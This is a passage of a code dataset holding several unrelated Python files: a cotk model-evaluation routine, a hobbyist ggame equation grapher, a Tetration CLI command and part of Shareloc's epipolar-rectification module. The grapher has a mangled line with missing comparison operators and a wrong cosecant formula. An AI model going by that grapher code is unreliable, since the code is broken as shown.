self.param.volatile.dm\n\n\t\tmetric1 = dm.get_teacher_forcing_metric()\n\t\tbatch_num, batches = self.get_batches(dm, key)\n\t\tlogging.info(\"eval teacher-forcing\")\n\t\tfor incoming in tqdm.tqdm(batches, total=batch_num):\n\t\t\tincoming.args = Storage()\n\t\t\twith torch.no_grad():\n\t\t\t\tself.net.forward(incoming)\n\t\t\t\tgen_log_prob = nn.functional.log_softmax(incoming.gen.w, -1)\n\t\t\tdata = incoming.data\n\t\t\tdata.resp_allvocabs = LongTensor(incoming.data.resp_allvocabs)\n\t\t\tdata.resp_length = incoming.data.resp_length\n\t\t\tdata.gen_log_prob = gen_log_prob.transpose(1, 0)\n\t\t\tmetric1.forward(data)\n\t\tres = metric1.close()\n\n\t\tmetric2 = dm.get_inference_metric()\n\t\tbatch_num, batches = self.get_batches(dm, key)\n\t\tlogging.info(\"eval free-run\")\n\t\tfor incoming in tqdm.tqdm(batches, total=batch_num):\n\t\t\tincoming.args = Storage()\n\t\t\twith torch.no_grad():\n\t\t\t\tself.net.detail_forward(incoming)\n\t\t\tdata = incoming.data\n\t\t\tdata.gen = incoming.gen.w_o.detach().cpu().numpy().transpose(1, 0)\n\t\t\tmetric2.forward(data)\n\t\tres.update(metric2.close())\n\n\t\tif not os.path.exists(args.out_dir):\n\t\t\tos.makedirs(args.out_dir)\n\t\tfilename = args.out_dir + \"/%s_%s.txt\" % (args.name, key)\n\n\t\twith open(filename, 'w') as f:\n\t\t\tlogging.info(\"%s Test Result:\", key)\n\t\t\tfor key, value in res.items():\n\t\t\t\tif isinstance(value, float) or isinstance(value, bytes):\n\t\t\t\t\tlogging.info(\"\\t{}:\\t{}\".format(key, value))\n\t\t\t\t\tf.write(\"{}:\\t{}\\n\".format(key, value))\n\t\t\tfor i in range(len(res['post'])):\n\t\t\t\tf.write(\"post:\\t%s\\n\" % \" \".join(res['post'][i]))\n\t\t\t\tf.write(\"resp:\\t%s\\n\" % \" \".join(res['resp'][i]))\n\t\t\t\tf.write(\"gen:\\t%s\\n\" % \" \".join(res['gen'][i]))\n\t\t\tf.flush()\n\t\tlogging.info(\"result output to %s.\", filename)\n\t\treturn {key: val for key, val in res.items() if type(val) in [bytes, int, float]}\n\n\tdef test_process(self):\n\t\tlogging.info(\"Test Start.\")\n\t\tself.net.eval()\n\t\tself.test(\"dev\")\n\t\ttest_res = self.test(\"test\")\n\t\tlogging.info(\"Test Finish.\")\n\t\treturn test_res\n", "source": "heyLinsir/cotk", "license": "Apache-2.0"} {"text": "\"\"\"\nFirst, enter a width of the graph - the height will be 4/5 of width. \nTo add a graph, click and then type and equation (y=terms of x or x = terms of y)\nOne can also enter circle or circle filled in order to produce a circle or a filled circle.\nAfter typing or circle filled, one will be prompted for the radius of the circle.\nOne can also type color (then respond to the second prompt with an integer) to determine what function is what color.\nThe left most color is the first enterred where as the last color would be the function at the integer you entered.\nWhen using log, it will default to base ten, but one can change the base by putting a comma after \nthe expression one is taking a log of with the desired base.\nExample: \ny=log(x,3)\nWould be log(x)/log(3)\n\nFunctions operands are: ^,*,/,+,-,log(),sin(),cos(),tan(),abs(),cot(),csc(),sec()\n\n**Anything with a discontinuity will be very slow because it needs to do a backwards regression!** - it will also slow \nother graphs.\n\"\"\"\nfrom ggame import App, Color, LineStyle, Sprite, CircleAsset, Frame, RectangleAsset, ImageAsset\nfrom math import floor, sin, cos, tan, log\n#-----------------------------------------------------\nred = Color(0xff0000, 1.0)\nblue = Color(0x0000ff, 1.0)\nblack = Color(0x000000, 1.0)\ngreen = Color(0x0fff6f, 1.0)\nwhite = Color(0xffffff, 1.0)\n#-----------------------------------------------------\nframeWidth = 1000\nframeHeight = 800\n#-----------------------------------------------------\nnoLine = LineStyle(0, black)\noutline = LineStyle(1,black)\n#-----------------------------------------------------\ndef depVarSolver(depVar, indepVar, equation):\n print(\"Implicit function entered, Isolating dependent variable\")\n if equation.find(\"=\")!= 1:\n equationL = equation[0:equation.find(\"=\")-1]\n equationL = expressionSplitter(equationL)\n else:\n equationL = [equation[0]]\n equationR = equation[equation.find(\"=\")+1: len(equation)]\n equationR = expressionSplitter(\"y\", equationR)\n #newEquation = equationL +\"=\"+equationR\n return(equationL, \"=\", equationR)\n \ndef expressionSplitter(depVar, expression):\n if expression.find(depVar) == -1:\n print(\"DepVar not found\", expression)\n return([expression])\n else:\n terms = []\n term = \"\"\n p = 0\n for i in expression:\n term += i\n if i == \"(\":\n p += 1\n elif i == \")\":\n p -= 1\n if i == \"+\" and p == 0:\n terms.append(term[0:len(term)-1])\n term = \"+\"\n if term != \"\":\n terms.append(term)\n print(\"DeVars found\", terms)\n return(terms)\n \ndef funcCombiner(equation):\n #print(equation)\n equationL = getOperandsAndTerms(equation[0:equation.find(\"=\")])\n #print(equationL)\n equationR = getOperandsAndTerms(equation[equation.find(\"=\"):len(equation)-1])\n #print(equationR)\n equationLOperators=[]\n for i in equationL[1]:\n if i == \"-\":\n equationLOperators.append(\"+\")\n elif i == \"+\":\n equationLOperators.append(\"-\")\n else:\n equationLOperators.append(i)\n return(equationR[0] + equationL[0],equationR[1] + equationLOperators[:])\n \ndef funcCompiler(terms, operands):\n output = \"\"\n for i in range(0, len(terms)):\n output += terms[i]\n if i < len(terms) - 1:\n output += operands[i]\n return(output)\n \ndef funcSolver(terms, operands):\n letterOperands = \"sincotalgb\"\n operand = \"\"\n for i in range(len(terms)):\n status = 0\n for k in letterOperands:\n if terms[i].find(k) != -1 and i != \"e\":\n status = 1\n if status == 1:\n if terms[i][0] == \"-\":\n operand = \"-\"\n terms[i][1:len(terms[i])]\n else:\n operand = \"\"\n term = terms[i][0:3]\n inside = terms[i][4:len(terms[i])-1]\n if term != \"log\":\n inside = prenEliminator(getOperandsAndTerms(inside)[0],getOperandsAndTerms(inside)[1])\n if term == \"cos\":\n terms[i] = cos(inside)\n elif term == \"sin\":\n terms[i] = sin(inside)\n elif term == \"tan\":\n terms[i] = tan(inside)\n elif term == \"sec\":\n terms[i] = 1/cos(inside)\n elif term == \"csc\":\n terms[i] = 1/(inside)\n elif term == \"cot\":\n terms[i] = 1/tan(inside)\n elif term == \"abs\":\n terms[i] = abs(inside)\n elif term == \"log\":\n if inside.count(\",\") == 1:\n base = inside[inside.find(\",\")+1:len(inside)]\n inside = inside[0:inside.find(\",\")]\n base = prenEliminator(getOperandsAndTerms(base)[0],getOperandsAndTerms(base)[1])\n inside = prenEliminator(getOperandsAndTerms(inside)[0],getOperandsAndTerms(inside)[1])\n if inside < 0:\n terms[i] = \"FAIL\"\n else:\n terms[i] = log(inside)/log(base)\n elif inside.count(\",\") == 0 and prenEliminator(getOperandsAndTerms(inside)[0],getOperandsAndTerms(inside)[1]) > 0:\n terms[i] = log(prenEliminator(getOperandsAndTerms(inside)[0],getOperandsAndTerms(inside)[1]))/log(10)\n else:\n terms[i] = \"FAIL\"\n else:\n terms[i] = 0\n if operand == \"-\":\n terms[i] = -1*float(terms[i])\n found = 0\n newTerms = terms\n if len(operands) > 0:\n for i in range(0,len(operands)):\n i = i - found\n if operands[i] == \"^\":\n #print(\"ExpoFound\")\n newTerms[i] = float(terms[i])**float(terms[i+1])\n #print(\"NewTermsAdded\", terms[i], terms[i+1], newTerms[i], \"n\")\n del newTerms[i+1]\n del operands[i]\n found += 1\n #print(\"done\")\n #print(\"expo:\", newTerms, operands)\n found = 0\n for i in range(0,len(operands)):\n #print(found, terms, newTerms, operands)\n i = i - found\n #print(i,len(terms),len(operands))\n #print(terms,operands)\n if operands[i] == \"*\":\n newTerms[i] = float(terms[i])*float(terms[i+1])\n del newTerms[i+1]\n del operands[i]\n found += 1\n elif operands[i] == \"/\":\n newTerms[i] = float(terms[i])/float(terms[i+1])\n del newTerms[i+1]\n del operands[i]\n found += 1\n #print(\"mult:\", newTerms)\n for i in range(0,len(operands)):\n if operands[i] == \"-\":\n newTerms[i+1] = str((-1)*float(terms[i+1]))\n #print(\"sub:\", newTerms)\n final = 0\n for i in newTerms:\n final += float(i)\n return(float(final))\n else:\n if len(terms) > 1:\n final = 0\n for i in terms:\n final += float(i)\n else:\n final = float(terms[0])\n return(final)\n \ndef prenEliminator(terms, operands):\n newTerms = []\n operators = []\n for z in terms:\n newTerms.append(z)\n for z in operands:\n operators.append(z)\n pp = 1 #Status of parenthesis being present\n g = 0 #Just a method to stop infinite loops if there is an error in my code\n \n while pp == 1 and g != 20:\n g += 1\n pcheck = \"\"\n letterOperands = \"sincotaelgb\"\n status = 0\n for i in range(0,len(newTerms)):\n status = 0\n for k in letterOperands:\n if newTerms[i].find(k) != -1:\n status += 1\n if status != 0:\n if newTerms[i][0] == \"(\":\n newTerms[i]= newTerms[i][1:len(newTerms[i])-1]\n newTerms[i] = str(prenEliminator(getOperandsAndTerms(newTerms[i])[0],getOperandsAndTerms(newTerms[i])[1]))\n else:\n if newTerms[i][0] == \"-\":\n newTerms[i] = newTerms[i][1:len(newTerms[i])]\n newTerms[i] = str(-1*funcSolver(getOperandsAndTerms(newTerms[i])[0],getOperandsAndTerms(newTerms[i])[1]))\n else:\n newTerms[i] = str(funcSolver(getOperandsAndTerms(newTerms[i])[0],getOperandsAndTerms(newTerms[i])[1]))\n if status == 0:\n for i in range(0,len(newTerms)):\n if str(newTerms[i]).isdigit() == False:\n #print(\"Non-int detected in prenElim\")\n p = str(newTerms[i]).count(\"(\")\n term = \"\"\n newTerm = \"\"\n outside = \"\"\n for k in range(len(newTerms[i])):\n currentTerm = (newTerms[i])[k]\n term += currentTerm\n if currentTerm == \"(\":\n #print(\"Hey we found an opening parenthesis!\", newTerms, k)\n outside += term[0:len(term)-1:]\n #print(\"This is the outside:\", outside)\n if len(outside) > 0:\n #print(\"The outside is longer than 0\")\n if outside[len(outside) - 1] == \")\" or outside[len(outside) - 1].isdigit() == True or outside[len(outside) - 1] == \"x\" or outside[len(outside) - 1] == \"y\":\n #print(\"We decided to add a multiplier\")\n outside += \"*\"\n term = \"(\"\n elif currentTerm == \")\" and term[0] == \"(\" and len(term[1:len(term)-1:]) > 0:\n term = term[1:len(term)-1:]\n newTerm = str(funcSolver(getOperandsAndTerms(term)[0],getOperandsAndTerms(term)[1]))\n outside += \"{0}\"\n term = \"\"\n outside = outside.format(newTerm)\n elif currentTerm == \")\" and term[0] == \"(\" and len(term[1:len(term)-1:]) == 0:\n #print(\"There is an empty term; Substituting 0\")\n term = \"\"\n outside += \"0\"\n if len(term) > 0 and len(outside) > 0:\n if outside[len(outside) - 1].isdigit() == True and term[0].isdigit == True:\n term = \"*\" + term\n outside += term\n #print(\"cash me\", outside, term)\n else:\n outside += term\n\n newTerms[i] = str(outside)\n ##print(\"newTerms[i]\", newTerms[i])\n for h in newTerms:\n pcheck += str(h)\n if pcheck.count(\"(\") == 0:\n pp = 0\n \n if len(newTerms) > 1:\n newTerms = funcSolver(newTerms, operands)\n return(newTerms)\n elif len(newTerms) == 1:\n output = float(newTerms[0])\n return(output) \n\ndef getOperandsAndTerms(equation):\n #initial Seperation\n terms = []\n term = \"\"\n operands = []\n letterOperands = \"sincotaelgb\" #Letters in complex operands like trig and log functions\n p = 0\n op = 1\n for i in str(equation):\n status = 0\n for letterOp in letterOperands:\n if i == letterOp and i != \"e\":\n status = 1\n if i != \" \" and i != \"'\" and i != \"[\" and i != \"]\":\n if i == \"(\" or i == \"{\":\n p += 1\n if term != \"\" and term.count(\"(\") == 0:\n if letterOperands.find(term[len(term)-1]) == -1:\n terms.append(term)\n term = \"\"\n op = 0\n if op == 0 and p == 1:\n if len(term) > 0:\n if letterOperands.find(term[len(term)-1]) == -1:\n operands.append(\"*\")\n #print(\"OP == 0\", term, terms, operands)\n else:\n operands.append(\"*\")\n elif i == \")\" or i == \"}\":\n p -= 1\n if p == 0 and i != \")\" and i != \"}\":\n if i == \"*\" or i == \"/\" or i == \"^\":\n operands.append(i)\n op = 1\n if term != \"\":\n terms.append(term)\n term = \"\"\n elif i == \"+\":\n if len(term) > 0:\n if term[len(term)-1] == \"e\":\n term += i\n else:\n operands.append(i)\n op = 1\n if term != \"\":\n terms.append(term)\n term = \"\"\n else:\n operands.append(i)\n op = 1\n if term != \"\":\n terms.append(term)\n term = \"\"\n elif i == \"-\":\n if op == 0:\n if len(term) == 0:\n operands.append(i)\n op = 1\n if term != \"\":\n terms.append(term)\n term = \"\"\n else:\n if term[len(term)-1] == \"e\":\n term += i\n else:\n operands.append(i)\n op = 1\n if term != \"\":\n terms.append(term)\n term = \"\"\n elif op == 1:\n op = 2\n term += i\n elif op == 2:\n op = 0\n term = term[0:len(term)-1]\n else:\n #minusOperator\n operands.append(i)\n op = 1\n if term != \"\":\n terms.append(term)\n term = \"\"\n elif i.isdigit() == True or i == \".\" or i == \"e\" or status == 1:\n if status == 1 and len(term) > 0:\n if term[0].isdigit():\n terms.append(term)\n term = i\n operands.append(\"*\")\n else:\n term += i\n else:\n term += i\n op = 0\n elif i.isdigit() == False:\n if term != \"\":\n terms.append(term)\n term = \"\"\n op = 0\n terms.append(i)\n if len(terms) > len(operands) + 1:\n operands.append(\"*\")\n op = 1\n elif p == 0 and (i == \")\" or i == \"}\"):\n term += i\n terms.append(term)\n term = \"\"\n op = 0\n else:\n term += i\n if len(terms) > len(operands) + 1 and term == \"\":\n operands.append(\"*\")\n op = 1\n if term != \"\":\n terms.append(term)\n #print(\"GottenTerms\", terms, \"GottenOperands\", operands, \"from\", equation)\n for i in range(0,len(terms)):\n #print(terms[i])\n if terms[i] == \"-\":\n terms[i] = \"-1\"\n return((terms,operands))\n\ndef funcPlugger(depVar, indepVar, equation, t):\n equation = str(equation)\n if equation.find(\"=\") != -1:\n equation = equation[equation.find(\"=\")+1:len(equation)]\n a = getOperandsAndTerms(equation.format(t))\n b = prenEliminator(a[0],a[1])\n c = 0\n #print(\"Wubbo\", equation.format(t),a,b)\n if isinstance(b, (list,)):\n #print(b)\n for i in b:\n c += float(i)\n else:\n c = b\n if depVar == \"x\":\n return(c,t)\n else:\n return(t,c)\n \ndef pluggerSetup(depVar, indepVar, equation):\n output = \"\"\n #print(\"PluggerSetup\", depVar, indepVar, equation)\n for i in equation:\n #print(\"plug?\", i, i == indepVar)\n if i == indepVar:\n if len(output)>0:\n if output[len(output)-1].isdigit():\n output += \"*\"+\"{0}\"\n elif output[len(output)-1] == \"-\":\n output += \"1\" + \"*\" + \"{0}\"\n else:\n output += \"{0}\"\n else:\n output += \"{0}\"\n \n elif len(output)>0: \n if output[len(output)-1] == \"}\" and (i.isdigit() or i == \"(\" or i == \"{\"):\n output += \"*\"+i\n else:\n output += i\n else:\n output += i\n output = getOperandsAndTerms(output)\n for i in range(len(output[0])):\n if output[0][i].find(\"{0}\") == -1:\n output[0][i] = str(prenEliminator(getOperandsAndTerms(output[0][i])[0],getOperandsAndTerms(output[0][i])[1]))\n output = funcCompiler(output[0],output[1])\n return output\n#----------------------------------------------------- \nwidth = float(input(\"Width?\"))\ninitial = -width/2\nprint(\"The height is \" + str(width*4/5) +\".\")\n#-----------------------------------------------------\ndef getX(xValue):\n #x = (xValue + float(frameWidth)/2.0)*4+2\n x = float(xValue)*frameWidth/width + float(frameWidth) / 2.0\n return(x)\n \ndef getY(yValue):\n y = (float(frameHeight) / 2.0 - frameHeight/(width*4/5)*float(yValue))\n return(y)\n\ndef giveX(xValue):\n x = (float(xValue) - float(frameWidth)/2.0)/(frameWidth/width)\n return x\n\ndef giveY(yValue):\n y = (float(yValue)-float(frameHeight))/(-frameHeight/(width*4/5))\n return(y)\n\n#----------------------------------------------------- \ndef color(red, green, blue, alpha):\n letters = {10:\"A\",11:\"B\",12:\"C\",13:\"D\",14:\"E\",15:\"F\"}\n output = \"0x\"\n for i in (int(red), int(green), int(blue)):\n a = int(floor(i / 16))\n if a >= 10:\n output += str(letters[a])\n else:\n output += str(a)\n if i - a*16 >= 10:\n output += str(letters[i - a*16])\n else:\n output += str(i - a*16)\n output = int(output, base=16)\n return (Color(output, alpha))\n\ndef colorRandom(funcIndex):\n return color(abs(255*sin(0.89*funcIndex+2.3)),abs(255*sin(0.44*funcIndex+1.5)),abs(255*sin(0.25*funcIndex+0.75)), 1.0)\n #return color(abs(sin(funcIndex*0.2+0.1)*255),abs(cos(funcIndex*1.31+1)*255),abs(cos(2*funcIndex)*sin(funcIndex*0.5+0.1)*255), 1.0) \n#-----------------------------------------------------\nclass point(Sprite):\n pt = CircleAsset(5, outline, red)\n def __init__(self, color, equation, depVar,indepVar,t):\n self.depVar = depVar\n self.indepVar = indepVar\n self.t = t\n self.color = color\n self.tries = 0\n self.increment = 1\n global width\n self.jump = width/100\n self.shifting = False\n if equation.count(\"(\") != equation.count(\")\") or equation.count(\"=\") != 1:\n print(\"Invalid input given\")\n else:\n newEquation = \"\"\n for i in equation:\n if i != \" \":\n newEquation += i\n #print(\"Interpreting:\", newEquation)\n if newEquation.find(\"=\") != 1 or newEquation[newEquation.find(\"=\")+1:len(newEquation)].find(depVar) != -1:\n print(\"Implementation of implicits needed\")\n print(depVarSolver(depVar, indepVar, newEquation))\n pluggableEquation = depVarSolver(depVar, indepVar, newEquation)\n else:\n equationR = newEquation[newEquation.find(\"=\")+1: len(newEquation)]\n if equationR.count(indepVar) > 0:\n pluggableEquation = pluggerSetup(depVar, indepVar, equationR)\n else:\n b = getOperandsAndTerms(equationR)\n pluggableEquation = prenEliminator(b[0],b[1])\n self.equation = pluggableEquation\n super().__init__(point.pt,(0,0))\n try:\n position = funcPlugger(self.depVar,self.indepVar,self.equation,self.t)\n print(\"POSITION:\",position)\n self.x = getX(position[0])\n self.y = getY(position[1])\n except:\n print(\"Function failed initial point.\")\n self.x = getX(-500)\n self.y = getY(-500)\n self.tries += 1\n \n def move(self):\n try:\n #Determining if the new point exists\n newPosition = funcPlugger(self.depVar,self.indepVar,self.equation,self.t+self.increment)\n newPosition = (getX(newPosition[0]),getY(newPosition[1]))\n if self.tries < 10 or (newPosition[0] > 0 and newPosition[0] < frameWidth and newPosition[1] > 0 and newPosition[1] < frameHeight):\n try:\n #Determining self.t of last point\n oldPosition = funcPlugger(self.depVar,self.indepVar,self.equation,self.t)\n oldPosition = (getX(oldPosition[0]),getY(oldPosition[1]))\n if self.x == oldPosition[0] and self.y == oldPosition[1]:\n distance = ((self.x - newPosition[0])**2+(self.y - newPosition[1])**2)**0.5\n if distance > 5:\n self.increment = self.increment * 0.6\n self.shifting = False\n elif distance < 2:\n self.increment = self.increment * 1.9\n self.shifting = False\n else:\n self.t += self.increment\n self.x = newPosition[0]\n self.y = newPosition[1]\n self.shifting = False\n self.moved()\n else:\n self.newPointProtocol()\n except:\n self.newPointProtocol()\n else:\n self.t += self.increment\n self.x = newPosition[0]\n self.y = newPosition[1]\n self.shifting = False\n self.moved()\n except:\n self.tries += 1\n if self.tries > 10:\n self.shifting = True\n if self.shifting == True:\n self.t += self.jump\n \n def newPointProtocol(self):\n self.t += self.increment\n original = self.t\n i = 0\n worked = True\n shifted = 0\n shift = self.increment*0.5\n last = 0\n consec = 0\n while i < 100:\n if worked == True:\n shift = shift*1.6\n else:\n shift = shift/4\n try:\n newPosition = funcPlugger(self.depVar,self.indepVar,self.equation,self.t-(shifted + shift))\n worked = True\n shifted += shift\n except:\n worked = False\n i += 1\n \n if shifted 0 and self.x0 and self.y width/2:\n self.destroy()\n else:\n self.tries += 1\n self.increment = self.increment*1.1\n\nclass path(Sprite):\n def __init__(self,color, position):\n dot = CircleAsset(3,noLine, colorRandom(color))\n Sprite(dot, position)\n\nclass bg(Sprite):\n bg_asset = ImageAsset(\"images/Background.jpg\")\n def __init__(self, position):\n super().__init__(bg.bg_asset, position)\n self.scale=1\n \n\nclass Grapher(App):\n def __init__(self, width, height):\n super().__init__(width, height)\n Grapher.listenMouseEvent(\"click\", self.addPoint)\n bg((0,0))\n global initial\n graphs = 0\n def step(self):\n for sprite in self.getSpritesbyClass(point):\n # print(sprite.t)\n if sprite.t > abs(2*initial):\n sprite.destroy()\n else:\n try:\n sprite.move()\n except:\n print(\"error\")\n print(sprite.t, sprite.increment)\n\n colors = []\n def addPoint(self,event):\n equation = input(\"Equation: \")\n depVar = equation[0]\n indepVars = {\"y\":\"x\",\"x\":\"y\"}\n global width\n try:\n indepVar=indepVars[depVar]\n point(self.graphs,equation,depVar,indepVar,initial)\n self.graphs += 1\n except:\n if equation.lower() == \"circle\":\n radius = float(input(\"Radius: \"))\n try:\n point(self.graphs,\"y=({0}^2-x^2)^0.5\".format(radius),\"y\",\"x\",-abs(radius),)\n point(self.graphs,\"y=-1*({0}^2-x^2)^0.5\".format(radius),\"y\",\"x\",-abs(radius),)\n self.graphs += 1\n except:\n print(\"Circle Failed!\")\n elif equation.lower() == \"circlefilled\":\n global width\n radius = float(input(\"Radius: \"))\n try:\n point(self.graphs,\"y=({0}^2-x^2)^0.5*sin(x*{1})\".format(radius,1000/(width*1.2)),\"y\",\"x\",-abs(radius))\n point(self.graphs,\"y=-1*({0}^2-x^2)^0.5\".format(radius),\"y\",\"x\",-abs(radius))\n point(self.graphs,\"y=({0}^2-x^2)^0.5\".format(radius),\"y\",\"x\",-abs(radius))\n self.graphs += 1\n except:\n print(\"Filled circle failed!\")\n elif equation.lower() == \"approximation\":\n pi = 3.14159265359\n b = 20\n theta = 0\n i = 0\n elif equation.lower() == \"color\":\n if len(self.colors) > 0:\n shift = 0\n for i in range(len(self.colors)):\n i -= shift\n self.colors[i].destroy()\n del self.colors[i]\n shift += 1\n else:\n Range = int(input(\"Number of Colors:\"))\n for i in range(0,Range):\n dot = CircleAsset(3,noLine, colorRandom(i))\n self.colors.append(Sprite(dot,(i*6,0)))\n \n else:\n print(\"FUNCFAILED\")\n \n \nmyapp = Grapher(frameWidth, frameHeight)\nmyapp.run()", "source": "Npikielny/Final-Project", "license": "MIT"} {"text": "from cement import ex\nfrom .tet_controller import TetController\nimport json\n\nclass Applications(TetController):\n \n class Meta:\n label = 'applications'\n stacked_type = 'nested'\n help= 'Interact with ADM Application from Tetration Cluster'\n \n @ex(help='list applications', arguments=[\n ])\n def list(self):\n \"\"\"\n Return the list of all the applications\n \"\"\"\n response = self.tetration().get('/applications')\n content = json.loads(response.content.decode(\"utf-8\"))\n self.app.log.debug('{0} - {1}'.format(response.status_code,\n response.content.decode('utf-8')))\n \n if response.status_code == 403:\n self.app.log.error('{0}Request \"app_policy_management\" permissions'.format(response.content.decode('utf-8')))\n return\n \n headers = ['Application ID', 'Name', 'Scope ID']\n data_list = [[x['id'],\n x['name'],\n x['app_scope_id']] for x in content ]\n \n\n self.app.render(data_list, headers=headers)\n", "source": "jumolinas/tetrationcli", "license": "MIT"} {"text": "#!/usr/bin/env python\n# coding: utf8\n#\n# Copyright (c) 2022 Centre National d'Etudes Spatiales (CNES).\n#\n# This file is part of Shareloc\n# (see https://github.com/CNES/shareloc).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\"\"\"\nThis module contains functions to generate stereo-rectification epipolar grids\n\"\"\"\n\n# Standard imports\nimport math\n\n# Third party imports\nimport numpy as np\nimport rasterio\n\n# Shareloc imports\nfrom shareloc.geofunctions.localization import Localization, coloc\nfrom shareloc.image import Image\n\n\ndef write_epipolar_grid(grid, filename, xy_convention=True):\n \"\"\"\n Write epipolar grid in a tiff file\n\n :param grid: epipolar grid\n :type grid: shareloc.Image\n :param filename: output filename\n :type filename: string\n :param xy_convention: True: write grid with xy convention : [band 1 = col displacement, band 2 = row displacement]\n False: write grid with yx convention : [band 1 = row displacement, band 2 = col displacement]\n :param xy_convention: bool\n \"\"\"\n band, row, col = grid.data.shape\n\n with rasterio.open(\n filename, \"w\", driver=\"GTiff\", dtype=np.float64, width=col, height=row, count=band, transform=grid.transform\n ) as source_ds:\n if xy_convention:\n source_ds.write(grid.data[1, :, :], 1)\n source_ds.write(grid.data[0, :, :], 2)\n else:\n source_ds.write(grid.data[0, :, :], 1)\n source_ds.write(grid.data[1, :, :], 2)\n\n\ndef compute_epipolar_angle(end_line, start_line):\n \"\"\"\n Define the epipolar angle\n\n :param end_line: ending of the epipolar line (georeferenced coordinates)\n :type end_line: 1D np.array [row, col, altitude] or 2D np.array [number of points, [row, col, altitude]]\n :param start_line: beginning of the epipolar line (georeferenced coordinates)\n :type start_line: 1D np.array [row, col, altitude] or 2D np.array [number of points, [row, col, altitude]]\n :return: epipolar angle\n :rtype : float or 1D np.array\n \"\"\"\n # Only one point, expand the shape of the array\n if len(end_line.shape) == 1:\n end_line = np.expand_dims(end_line, axis=0)\n start_line = np.expand_dims(start_line, axis=0)\n\n # Compute the equation of the epipolar line y = a*x + b and define the epipolare angle\n alpha = np.zeros(end_line.shape[0])\n\n # Same columns, positive direction\n same_col_positive = (end_line[:, 1] == start_line[:, 1]) & (end_line[:, 0] > start_line[:, 0])\n alpha[same_col_positive] = 0.5 * math.pi\n\n # Same columns, negative direction\n same_col_negative = (end_line[:, 1] == start_line[:, 1]) & (end_line[:, 0] <= start_line[:, 0])\n alpha[same_col_negative] = -0.5 * math.pi\n\n # Different columns, positive direction\n diff_col_pos = np.where((end_line[:, 1] != start_line[:, 1]) & (end_line[:, 1] > start_line[:, 1]))\n slope = (end_line[diff_col_pos[0], 0] - start_line[diff_col_pos[0], 0]) / (\n end_line[diff_col_pos[0], 1] - start_line[diff_col_pos[0], 1]\n )\n alpha[diff_col_pos] = np.arctan(slope)\n\n # Different columns, negative direction\n diff_col_neg = np.where((end_line[:, 1] != start_line[:, 1]) & (end_line[:, 1] <= start_line[:, 1]))\n slope = (end_line[diff_col_neg[0], 0] - start_line[diff_col_neg[0], 0]) / (\n end_line[diff_col_neg[0], 1] - start_line[diff_col_neg[0], 1]\n )\n alpha[diff_col_neg[0]] = math.pi + np.arctan(slope)\n\n return np.squeeze(alpha)\n\n\ndef compute_local_epipolar_line(geom_model_left, geom_model_right, left_point, elevation, elevation_offset):\n \"\"\"\n Estimate the beginning and the ending of local epipolar line in left image\n\n :param geom_model_left: geometric model of the left image\n :type geom_model_left: shareloc.grid or shareloc.rpc\n :param geom_model_right: geometric model of the right image\n :type geom_model_right: shareloc.grid or shareloc.rpc\n :param left_point: georeferenced coordinates in the left image\n :type left_point: 1D numpy array : [row coord, col coord, altitude]\n or 2D numpy array : (number of points, [row coord, col coord, altitude])\n :param elevation: elevation\n :type elevation: shareloc.dtm or float\n :param elevation_offset: elevation difference used to estimate the local tangent\n :type elevation_offset: int\n :return: Coordinates of the beginning and the ending of local epipolar line in the left image\n :rtype: Tuple(1D np.array [row, col, altitude], 1D numpy array [row, col, altitude])\n or Tuple(2D np.array (nb points, [row, col, altitude]), 2D np.array (nb points, [row, col, altitude]))\n \"\"\"\n # Only one point, expand the shape of the array\n if len(left_point.shape) == 1:\n left_point = np.expand_dims(left_point, axis=0)\n\n # Right correspondent of the left coordinates\n right_corr = np.zeros((left_point.shape[0], 3))\n right_corr[:, 0], right_corr[:, 1], right_corr[:, 2] = coloc(\n geom_model_left, geom_model_right, left_point[:, 0], left_point[:, 1], elevation\n )\n ground_elev = np.array(right_corr[:, 2])\n\n # Find the beginning of the epipolar line in the left image, using right correspondent at lower elevation\n right_corr[:, 2] = ground_elev - elevation_offset\n epi_line_start = np.zeros((left_point.shape[0], 3))\n epi_line_start[:, 0], epi_line_start[:, 1], epi_line_start[:, 2] = coloc(\n geom_model_right, geom_model_left, right_corr[:, 0], right_corr[:, 1], right_corr[:, 2]\n )\n\n # Find the ending of the epipolar line in the left image, using right correspondent at higher elevation\n right_corr[:, 2] = ground_elev + elevation_offset\n epi_line_end = np.zeros((left_point.shape[0], 3))\n epi_line_end[:, 0], epi_line_end[:, 1], epi_line_end[:, 2] = coloc(\n geom_model_right, geom_model_left, right_corr[:, 0], right_corr[:, 1], right_corr[:, 2]\n )\n\n return np.squeeze(epi_line_start), np.squeeze(epi_line_end)\n\n\n# pylint: disable=too-many-locals\ndef prepare_rectification(left_im, geom_model_left, geom_model_right, elevation, epi_step, elevation_offset):\n \"\"\"\n Determine size and spacing of the epipolar grids.\n Determine size of the epipolare images and the upper-left origin of the stereo-rectified left image (starting point)\n\n :param left_im: left image\n :type left_im: shareloc.image object\n :param geom_model_left: geometric model of the left image\n :type geom_model_left: shareloc.grid or shareloc.rpc\n :param geom_model_right: geometric model of the right image\n :type geom_model_right: shareloc.grid or shareloc.rpc\n :param elevation: elevation\n :type elevation: shareloc.dtm or float\n :param epi_step: epipolar step\n :type epi_step: int\n :param elevation_offset: elevation difference used to estimate the local tangent\n :type elevation_offset: int\n :return: return :\n - epipolar grids spacing (pixel size), 1D np.array [row pixel size, col pixel size]\n - epipolar grids size, 1D np.array [number of row, number of columns]\n - epipolar images size, 1D np.array [number of row, number of columns]\n - epipolar image starting point in the left image, 1D np.array [georef row, georef col, altitude]\n - epipolar image estimated ending point in the left image, 1D np.array [georef row, georef col, altitude]\n :rtype: Tuple\n \"\"\"\n # Choose a square spacing\n mean_spacing = 0.5 * (abs(left_im.pixel_size_col) + abs(left_im.pixel_size_row))\n\n # \u00a0Pixel size (spacing) of the epipolar grids, convention [row, col]\n grid_pixel_size = np.full(shape=2, fill_value=epi_step, dtype=np.float64)\n grid_pixel_size *= mean_spacing\n\n # Georeferenced coordinates of the upper-left origin of left image : [row, col, altitude]\n origin_row, origin_col = left_im.transform_index_to_physical_point(0, 0)\n left_origin = np.array([origin_row, origin_col])\n\n # --- Compute the parameters of the local epipolar line at the left image origin ---\n 